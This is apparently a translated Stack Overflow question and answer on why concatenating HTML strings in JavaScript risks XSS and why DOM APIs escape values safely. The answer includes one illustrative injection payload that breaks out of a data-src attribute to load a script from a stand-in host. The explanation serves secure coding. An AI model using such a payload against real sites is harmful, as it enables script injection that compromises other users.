javascript - 用 Javascript 构建 HTML 字符串真的不安全吗？

Question

托管我们网站的公司在部署之前审查了我们的代码 - 他们最近告诉我们:

HTML strings should never be directly manipulated, as that opens us up to potential XSS holes. Instead, always use a DOM api to create elements...that can be jQuery or the direct DOM apis.

例如，代替

this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' );

他们告诉我们去做

var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );

这是真的吗？谁能给我们举一个 XSS 攻击的例子，它可以像第一个那样利用 HTML 字符串？

Answer 1

如果this.au以某种方式被修改，它可能包含这样的东西:

"><script src="http://example.com/evilScript.js"></script><span class="

这会弄乱您的 HTML 并注入(inject)脚本:

<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>

如果您使用 DOM 操作来设置 src属性，脚本(或您使用的任何其他 XSS)将不会执行，因为它会被 DOM API 正确转义。

---

回应一些评论员说如果有人可以修改 this.au ，当然他们可以自己运行脚本:我不知道在哪里 this.au来自，也不是特别相关。它可能是来自数据库的值，并且数据库可能已被破坏。也可能是恶意用户试图为其他 用户搞砸事情。它甚至可能是一个没有意识到写作 "def" > "abc" 的无辜的非技术人员。会破坏东西。

---

还有一件事。在您提供的代码中，var quizAuLink = $( 'a' );不会创建新的 <a>元素。它只会选择所有现有的。您需要使用 var quizAuLink = $( '<a>' );创建一个新的。